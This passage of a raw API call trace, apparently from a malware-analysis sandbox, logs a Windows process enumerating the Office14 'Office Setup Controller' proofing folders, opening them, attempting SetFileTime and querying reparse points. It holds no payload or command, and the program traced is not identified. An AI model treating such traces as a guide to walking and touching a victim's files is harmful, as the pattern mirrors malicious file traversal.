ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9fc0 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed288 [0050.218] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.218] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.218] GetLastError () returned 0x12 [0050.218] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.218] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.218] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.218] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0050.218] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.218] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.218] GetLastError () returned 0x12 [0050.218] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.218] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.218] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.218] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.218] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0050.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0050.251] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee630 [0050.252] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee630, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee630, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.252] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee630) returned 1 [0050.252] NtClose (Handle=0x178) returned 0x0 [0050.252] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.252] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.252] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.252] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.252] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.252] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.252] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.252] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9fe0 [0050.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed390 [0050.252] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.252] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0050.253] GetLastError () returned 0x12 [0050.253] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.253] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.253] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.253] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0050.253] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0050.253] GetLastError () returned 0x12 [0050.253] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.253] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.253] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.253] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.253] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0050.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.253] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0050.470] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee630 [0050.472] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee630, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee630, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee630) returned 1 [0050.474] NtClose (Handle=0x174) returned 0x0 [0050.475] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.478] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.480] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.481] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0050.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeea000 [0050.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed498 [0050.486] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.487] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0050.491] GetLastError () returned 0x12 [0050.491] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.493] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.494] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.495] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0050.496] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0050.496] GetLastError () returned 0x12 [0050.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.498] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0050.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0050.509] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee630 [0050.510] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee630, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee630, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.512] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee630) returned 1 [0050.512] NtClose (Handle=0x178) returned 0x0 [0050.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.517] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.519] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.520] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0050.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeea020 [0050.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed5a0 [0050.526] 